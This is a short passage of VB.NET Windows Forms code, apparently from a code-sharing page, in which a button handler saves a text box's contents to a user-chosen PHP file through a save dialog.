        Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
            sv.Filter = "PHP File|*.php"
            sv.Title = "Simpan File"
            If sv.ShowDialog = Windows.Forms.DialogResult.OK Then
                Dim bikin As New System.IO.StreamWriter(sv.FileName, False)
                bikin.WriteLine(RichTextBox1.Text)
                bikin.Close()
            End If
        End Sub
    End Class
    

Read more